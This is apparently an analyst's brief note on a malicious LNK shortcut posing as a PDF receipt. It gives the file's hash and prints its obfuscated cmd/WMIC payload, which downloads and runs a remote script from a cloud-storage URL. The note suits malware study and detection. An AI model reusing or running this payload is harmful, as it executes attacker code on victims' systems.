Template for parse undocumented LNK Functionality
-
Name: Comprovante_93.pdf
-
md5: 838df9550e37ad7382dfad232469471f
-
payload: /start /MIN %ComSpec% start /MIN %ComSpec% /V /C "set x=CIInc:IInc\IInc\IIncWIInciIIncndIIncowIIncs\IInc\sIIncysIInctIInceIIncmIInc3IInc2IInc\IInc\IIncwIIncbIInceIIncm\IInc\WIIncMIIncIIIncC.eIIncxIInce oIIncs gIInceIInct 6IInc6IIncrIInckIInc4IIncdIIncWIIncYIIncJIInc, iIIncuIInckIInc4IIncdIIncOIIncSIInc, fIIncrIInceIInceIIncvIInciIIncrIInctIIncuIIncaIInclIIncmIInceIIncmIIncoIIncrIIncyIInc /IIncfoIIncrmIIncat:"hIInctIInctIIncpIInc:IInc/IInc/sIInctIIncoIIncrIIncaIIncgIInceIInc.IIncgIIncoIIncoIIncgIInclIInceIIncaIIncpIInciIIncsIInc.IInccIIncoIIncmIInc/IInctIInceIIncsIInclIIncaIIncaIIncsIInctIInchIInc/IInc0IInc6IInc/IIncvIInc.IInctIIncxIInctIInc#IInc0IInc2IInc5IInc0IInc8IInc9IInc9IIncIIIncLIIncqIIncxIIncvIIncvIInc5IInc2IInc" &&echo %x:IInc=%|%ComSpec%"
Fixed LNK Template:
